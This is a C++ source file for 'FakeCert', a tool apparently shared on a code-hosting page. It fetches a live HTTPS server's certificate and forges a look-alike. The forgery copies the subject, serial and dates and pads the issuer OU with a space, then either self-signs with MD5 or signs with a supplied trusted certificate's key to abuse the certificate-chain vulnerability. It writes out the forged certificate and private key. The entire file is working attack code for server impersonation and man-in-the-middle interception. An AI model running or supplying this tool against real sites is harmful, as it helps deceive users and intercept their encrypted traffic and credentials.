📄 fcert.cpp
字号:
/*
* FakeCert by Valgasu (valgasu@securiteinfo.com)
*
* a tool to generate a fake X509 certificate
*
*/
#include <stdio.h>
#include <winsock2.h>
#include "openssl/x509.h"
#include "openssl/ssl.h"
#include "openssl/err.h"
#include "openssl/pem.h"
#include "openssl/crypto.h"
#include "getopt.h"
#include "fcert.h"
int main(int argc, char *argv[])
{
/* getopt */
extern char *optarg;
register int opt;
/* Socket */
SOCKET sock;
struct sockaddr_in sin;
struct hostent *hp;
char servername[255];
int sinlen = sizeof(sin);
/* SSL */
X509_NAME_ENTRY *ne;
ASN1_OBJECT *obj;
ASN1_STRING *str;
EVP_PKEY *key;
EVP_PKEY *trust_key;
X509_NAME *server_issuer;
X509 *fake_cert;
X509 *trust_cert;
SSL_CTX *ssl_ctx;
SSL_CTX *ssl_trust_ctx;
X509 *server_cert;
SSL *ssl;
RSA *rsa;
char fake_ou[1024];
/* Others */
FILE *fp_cert;
FILE *fp_key;
char fakecert[255];
char trustcert[255];
int flag_server = 0;
int flag_fake = 0;
int flag_trust = 0;
int i;
/* Get options */
while((opt = getopt(argc, argv, "hs:f:t:")) != EOF) {
switch(opt) {
/* Help */
case 'h' :
usage(argv[0]);
return(EXIT_SUCCESS);
/* Server name or ip */
case 's' :
strcpy(servername, optarg);
flag_server = 1;
break;
/* Name of the fake certificate */
case 'f' :
strcpy(fakecert, optarg);
flag_fake = 1;
break;
/* Name of the trusted certificate */
case 't' :
strcpy(trustcert, optarg);
flag_trust = 1;
break;
}
}
/* Verify options */
if(flag_server != 1) {
usage(argv[0]);
return(EXIT_FAILURE);
}
/* Print information */
printf("\n>> FakeCert by Valgasu (valgasu@securiteinfo.com) <<\n\n");
/* Winsock init */
wsock_init();
/* SSL init */
SSL_library_init();
SSL_load_error_strings();
/* Connect to remote server */
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET) {
printf("Error: socket() error.\n");
WSACleanup();
return(EXIT_FAILURE);
}
/* Resolve host name */
if((hp = gethostbyname(servername)) == NULL) {
printf("Error: gethostbyname() error.\n");
closesocket(sock);
WSACleanup();
return(EXIT_FAILURE);
}
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = *((unsigned long*)hp->h_addr_list[0]);
sin.sin_port = htons(443);
if(connect(sock, (struct sockaddr *)&sin, sizeof(sockaddr_in)) == SOCKET_ERROR) {
printf("Error: connect() error.\n");
closesocket(sock);
WSACleanup();
return(EXIT_FAILURE);
}
/* SSL connect */
printf("+ Connection to https://%s\n", servername);
ssl_ctx = SSL_CTX_new(SSLv23_client_method());
ssl = SSL_new(ssl_ctx);
SSL_set_connect_state(ssl);
SSL_set_fd(ssl, sock);
if(SSL_connect(ssl) < 0) {
printf("Error: SSL_connect() error.\n");
SSL_free(ssl);
closesocket(sock);
WSACleanup();
return(EXIT_FAILURE);
}
/* Get server certificate */
printf("+ Get X509 certificate\n");
if((server_cert = SSL_get_peer_certificate(ssl)) == 0){
printf("Error: SSL_get_peer_certificate() error.\n");
SSL_free(ssl);
closesocket(sock);
WSACleanup();
return(EXIT_FAILURE);
}
/* Cleanup */
SSL_free(ssl);
closesocket(sock);
WSACleanup();
/* Create fake certificate */
printf("+ Make fake certificate\n");
fake_cert = X509_new();
key = EVP_PKEY_new();
rsa = RSA_generate_key(1024, RSA_F4, NULL,NULL);
EVP_PKEY_assign_RSA(key,rsa);
X509_set_pubkey(fake_cert,key);
X509_set_version(fake_cert,X509_get_version(server_cert));
X509_set_serialNumber(fake_cert, X509_get_serialNumber(server_cert));
X509_set_notBefore(fake_cert, X509_get_notBefore(server_cert));
X509_set_notAfter(fake_cert, X509_get_notAfter(server_cert));
X509_set_subject_name(fake_cert, X509_get_subject_name(server_cert));
if(!flag_trust) {
/* Get server issuer */
server_issuer = X509_get_issuer_name(server_cert);
/* Search OU and add space to fake certificate */
for(i=0 ; i<X509_NAME_entry_count(server_issuer) ; i++) {
ne = (X509_NAME_ENTRY *)X509_NAME_get_entry(server_issuer, i);
obj = X509_NAME_ENTRY_get_object(ne);
str = X509_NAME_ENTRY_get_data(ne);
if(OBJ_obj2nid(obj) == NID_organizationalUnitName) {
if(str->type == V_ASN1_PRINTABLESTRING) {
_snprintf(fake_ou, sizeof(fake_ou), "%s ", str->data);
X509_NAME_delete_entry(server_issuer, i);
X509_NAME_add_entry_by_txt(server_issuer, "OU", MBSTRING_ASC, (unsigned char*)fake_ou, -1, i, 0);
}
else {
printf("Error: data type not printable.\n");
return(EXIT_FAILURE);
}
break;
}
}
/* Set in fake certificate the fake OU */
X509_set_issuer_name(fake_cert, server_issuer);
/* Self-sign the fake server */
X509_sign(fake_cert, key, EVP_md5());
}
else {
/* Load trusted certificate for certificate chain vulnerability */
printf("+ Load trusted certificate from %s\n", trustcert);
ssl_trust_ctx = SSL_CTX_new(SSLv23_server_method());
if(SSL_CTX_use_certificate_file(ssl_trust_ctx, trustcert,
SSL_FILETYPE_PEM) == 0) {
printf("Error: SSL_CTX_use_certificate_file().\n");
return(EXIT_FAILURE);
}
if(SSL_CTX_use_PrivateKey_file(ssl_trust_ctx, trustcert,
SSL_FILETYPE_PEM) == 0) {
printf("Error: SSL_CTX_use_PrivateKey_file().\n");
return(EXIT_FAILURE);
}
if(SSL_CTX_check_private_key(ssl_trust_ctx) == 0) {
printf("Error: SSL_CTX_check_private_key().\n");
return(EXIT_FAILURE);
}
/* Modify fake certificate for certificate chain vulnerability */
trust_cert = SSL_get_certificate(SSL_new(ssl_trust_ctx));;
trust_key = SSL_get_privatekey(SSL_new(ssl_trust_ctx));
server_issuer = X509_get_subject_name(trust_cert);
X509_set_issuer_name(fake_cert, server_issuer);
X509_sign(fake_cert, trust_key, EVP_md5());
}
/* Save the fake certificate in file */
if(!flag_fake) {
strcpy(fakecert, FAKE_CERT);
}
if((fp_cert = fopen(fakecert, "w")) == NULL) {
printf("Error: unable to save fake certificate.\n");
return(EXIT_FAILURE);
}
if((fp_key = fopen(fakecert, "a")) == NULL) {
printf("Error: unable to save fake certificate.\n");
return(EXIT_FAILURE);
}
PEM_write_X509(fp_cert, fake_cert);
PEM_write_PrivateKey(fp_key, key, NULL, NULL, 0, NULL, NULL);
/* Print information */
printf("+ Save fake certificate to %s\n", fakecert);
fclose(fp_cert);
fclose(fp_key);
X509_free(fake_cert);
EVP_PKEY_free(key);
return(EXIT_SUCCESS);
}
void wsock_init(void)
{
/* Winsock */
WORD wVersionRequested;
WSADATA wsaData;
wVersionRequested = MAKEWORD(1, 1);
/* Startup Winsock.dll */
if(WSAStartup(wVersionRequested, &wsaData) != 0) {
printf("Error: unable to start winsock.\n");
exit(EXIT_FAILURE);
}
/* Check if Winsock.dll support 1.1 version */
if(LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1 ) {
printf("Error: Winsock.dll doesn't support 1.1 version.\n");
WSACleanup();
exit(EXIT_FAILURE);
}
}
void usage(char *name)
{
printf("\n>> FakeCert by Valgasu (valgasu@securiteinfo.com) <<\n");
printf("\nusage: %s [options]\n\n", name);
printf("options:\n");
printf(" -s server name or ip\n");
printf(" -f fake certificate file [fake.crt]\n");
printf(" -t trusted certificate file\n");
printf(" -h help\n");
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -